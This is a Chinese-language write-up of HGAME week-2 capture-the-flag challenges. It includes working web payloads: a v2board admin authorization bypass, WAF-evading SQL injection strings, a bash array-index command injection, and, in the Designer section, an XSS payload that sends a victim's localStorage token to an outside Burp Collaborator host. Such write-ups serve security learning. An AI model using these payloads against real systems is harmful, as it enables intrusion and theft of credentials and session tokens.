web

Git Leakage

使用`dirsearch`扫描目标网站, 发现存在`.git`泄漏.

使用`githack`工具获得泄漏的`Th1s_1s-flag`文件.

```
python3 GitHack.py http://week-2.hgame.lwsec.cn:32147/.git/
```

得到flag.

```
hgame{Don't^put*Git-in_web_directory}
```

v2board

一个近期发现的v2board机场面板越权漏洞.

首先注册一个账号, 拿到一个`auth`.

```
Authorization:
MzQxMTI4MTQ1NUBxcS5jb206JDJ5JDEwJEZMTEhsbXFNaGNYb0gzMm9NWC45S3UwNE5YZmJtTXRrMHRLZ
Xd3UmlVbmN4dHN2RU5xWmNt
```

然后访问`/user/info`接口, 将上面获得的`auth`添加到请求报文中, 发送报文. 此时该`auth`写入了Redis缓存中.

之后, 携带该请求头即可访问所有`admin`接口, 可以登陆`/api/v1/admin/user/fetch`得到目标`token`数据.

```
{"data":
[{"id":6,"invite_user_id":null,"telegram_id":null,"email":"hacker@hacker.com","pa
ssword":"$2y$10$dWcRJogujDqGtH0.kr903.S2ZUtfZlIvVo7cig.OSgGErIsKOJ7wm","password_
algo":null,"password_salt":null,"balance":0,"discount":null,"commission_type":0,"
commission_rate":null,"commission_balance":0,"t":0,"u":0,"d":0,"transfer_enable":
0,"banned":0,"is_admin":0,"is_staff":0,"last_login_at":1673698511,"last_login_ip"
:null,"uuid":"9da9d80d-e28d-4bc7-bec1-
9ff16cb1b689","group_id":null,"plan_id":null,"remind_expire":1,"remind_traffic":1
,"token":"d84d14482972dfd446f2057f9dc90e77","remarks":null,"expired_at":0,"create
d_at":1673698511,"updated_at":1673698511,"total_used":0,"subscribe_url":"http:\/\
/week-2.hgame.lwsec.cn:32632\/api\/v1\/client\/subscribe?
token=d84d14482972dfd446f2057f9dc90e77"},
{"id":1,"invite_user_id":null,"telegram_id":null,"email":"admin@example.com","pas
sword":"$2y$10$JLs3LJrKqsTly8K.w9KzI.e0Jt\/7oU9W3gQYcUDSRjg1LReimLLTS","password_
algo":null,"password_salt":null,"balance":0,"discount":null,"commission_type":0,"
commission_rate":null,"commission_balance":0,"t":0,"u":0,"d":0,"transfer_enable":
0,"banned":0,"is_admin":1,"is_staff":0,"last_login_at":null,"last_login_ip":null,
"uuid":"85a1c66e-d736-42b2-a0da-
69f6fb066e90","group_id":1,"plan_id":1,"remind_expire":1,"remind_traffic":1,"toke
n":"39d580e71705f6abac9a414def74c466","remarks":null,"expired_at":0,"created_at":
1673263308,"updated_at":1673267067,"total_used":0,"plan_name":"Vidar-Team
Plane\ud83d\udee9","subscribe_url":"http:\/\/week-
2.hgame.lwsec.cn:32632\/api\/v1\/client\/subscribe?
token=39d580e71705f6abac9a414def74c466"}],"total":2}
```

Search Commodity

首先是弱密码爆破, 使用的Fuzz字典🔗.

> week1的iot签到题提供的附件就是**top19576.txt**...

```
final password: admin123
```

爆破出来后是一个查询系统, 不同条目对应的是不同的`item`.

尝试后发现是`sqli`, 一开始怀疑是盲注, 进行了一番尝试, 但没有成果.

有两种报错形式,分别是`Not found`和`Error`, 后者是`sql`语句报错+过滤报错.

然后不断尝试, 绕过`WAF`.

一套注下来的`payload`如下.

```
1+--
数字型注入

1+/*!group*/+/*!by*/+3
1+/*!group*/+/*!by*/+4

-1+/*!uNIon*/+/*!sELEct*/+1,/*!DAtaBASE()*/,3
se4rch

-1+/*!uNIon*/+/*!sELEct*/+1,/*!groUp_conCat(tAbLe_nAme)*/,3+/*!fRom*/+/*!inFOrmat
ion_scHema.tables*/+/*!wHEre*/+/*!table_schema*/+like+'se4rch'
5ecret15here,L1st,user1nf0
```

```
-1+/*!uNIon*/+/*!sELEct*/+1,/*!groUp_conCat(ColuMn_nAme)*/,3+/*!fRom*/+/*!inFOrma
tion_scHema.coluMns*/+/*!wHEre*/+/*!table_schema*/+like+'se4rch'
f14gggg1shere,id,name,number,id,p4ssw0rd,u5ern4me

-1+/*!uNIon*/+/*!sELEct*/+1,f14gggg1shere,3+/*!fRom*/+5ecret15here
hgame{4_M4n_WH0_Kn0ws_We4k-P4ssW0rd_And_SQL!}
```

总的就是`内联注释绕过`+`大小写绕过`.

Designer

xss注入, 还有一种方法是xss打csrf, 这里就只说前者.

首先, 找到对应的xss注入点.

然后查看一下附件, 找到了关键词黑名单.

```
app.get("/button/preview", (req, res) => {
  const blacklist = [
    /on/i, /localStorage/i, /alert/, /fetch/, /XMLHttpRequest/, /window/,
/location/, /document/
  ]
  for (const key in req.query) {
    for (const item of blacklist) {
      if (item.test(key.trim()) || item.test(req.query[key].trim())) {
        req.query[key] = ""
      }
    }
  }
  res.render("preview", { data: req.query })
})
```

因为注入点在标签中, 感觉可以通过`href`属性+`js`协议进行一波xss注入.

先跳个弹窗确认一下.

```
3px 3px #000;"href="javascript:prompt('1','2')
```

顺利弹出, 确定注入点及注入方式.

xss的目的是窃取用户的cookie等信息, 窃取后转发给hacker.

在`button edit`页面, 存在`save`, `preview`, `submit`三种功能.

构造`payload`,使用`Unicode`编码绕过黑名单过滤.

```
3px 3px #000;"href="javascript:
fe\u0074ch('https://i6pr0n5rb7iyxu0tl8rw8ljpvg16pv.burpcollaborator.net', {
method: 'POST',
mode: 'no-cors',
body:lo\u0063alS\u0074orage.getItem('token')
})
```

获取`token`, 分解后获得`flag`.

> 刚开始以为flag可能藏在cookie中, 询问学长后得知flag隐藏在localStorage的token中.
>
> 其实给的附件有提示, 但是没看出来😢.

Misc

Sign In Pro Max

先是一堆baseXX编码.

```
Part1, is seems like baseXX: QVl5Y3BNQjE1ektibnU3SnN6M0tGaQ==
```

- base16
- base32
- base64
- base36
- base58
- base62
- base91
- base85

第一层只有base64能解码出来.

```
base64: AYycpMB15zKbnu7Jsz3KFi
```

第二层有很多能解码出来的,只有第三个能用.

```
base36:     5279548817679884381448383799848238
base58 int: 102813690892338567867335675586602155325
base58 str: MY2TCZBTMEYTQ===
base62:     1614927063312461955349899048425145475088
```

第三层也有.

```
base32: f51d3a18
```

```
Part2, a hash function with 128bit digest size and 512bit block size:
c629d83ff9804fb62202e90b0945a323
```

`128bit digest size and 512bit block size hash`👈就是`MD5`加密,

```
c629d83ff9804fb62202e90b0945a323”,解密的结果为“f91c”!
f91c
```

```
Part3, a hash function with 160bit digest size and 512bit block size:
99f3b3ada2b4675c518ff23cbd9539da05e2f1f8
```

`160bit digest size and 512bit block size hash`👈就是`SHA1`加密,

```
解密成功, 结果是: 4952
```

```
Part4, the next generation hash function of part3 with 256bit block size and 64
rounds: 1838f8d5b547c012404e53a9d8c76c56399507a2b017058ec7f27428fda5e7db
```

👈`SHA256`加密.

```
1838f8d5b547c012404e53a9d8c76c56399507a2b017058ec7f27428fda5e7db
->
a3ed
```

```
Ufwy5 nx 0gh0jf61i21h, stb uzy fqq ymj ufwyx ytljymjw, its'y ktwljy ymj ktwrfy.
```

凯撒密码,偏移21位加密一下.

```
Part5 is 0bc0ea61d21c, now put all the parts together, don't forget the format.
```

然后以`uuid`格式合并到一起.

```
hgame{f51d3a18-f91c-4952-a3ed-0bc0ea61d21c}
```

Tetris Master

存在非预期, ssh远程连接到靶机, 运行俄罗斯方块sh脚本, 直接`ctrl+c`停止文件运行, 可直接转入靶机终端.

`cat /flag`即可获取flag.

Tetris Master Revenge

不存在非预期, 但可以通过数组内命令执行来执行所需系统命令.

进入靶机后,在询问`score`时输入以下`payload`,然后在游戏结束时可以获得`.flag`的内容.

```
arr[$(cat /flag)]
```

bash会认为命令是数组索引, 于是就先执行命令, 再进行解析.

由于与与其输入内容不相符, 会进行报错, 但报错内容中含有命令的输出结果, 在`.sh`文件执行完毕, 也就是游戏退出后输出到标准输出中.

Crypto

Rabin

RSA算法的变种,.

以下为解密脚本, 四个输出中存在一个为预期的`flag`.

```python
import gmpy2
import codecs

def squareMod(c, mod):          # 模意义下开根，找到 x, 使得 x^2 % mod = c
    assert(mod % 4 == 3)
    res = gmpy2.powmod(c, (mod+1)//4, mod)
    return res, mod - res

def getPlaintext(x, y, p, q):   # 假设 m % p = x, m % q =y, 求明文
    res = x*q*gmpy2.invert(q, p) + y*p*gmpy2.invert(p, q)
    return res % (p*q)

def solve(c, p, q):             # 已知 p,q, 解密 c
    px = squareMod(c, p)
    py = squareMod(c, q)

    for x in px:
        for y in py:
            yield getPlaintext(x, y, p, q)

c=int('4e072f435cbffbd3520a283b3944ac988b98fb19e723d1bd02ad7e58d9f01b26d622edea5e
e538b2f603d5bf785b0427de27ad5c76c656dbd9435d3a4a7cf556',16)

p=65428327184555679690730137432886407240184329534772421373193521144693375074983
q=98570810268705084987524975482323456006480531917292601799256241458681800554123



for msg in solve(c, p, q):
    res = hex(msg)[2:]
    if len(res) % 2 == 1:
        res = '0' + res

    print(codecs.decode(res, 'hex'))
```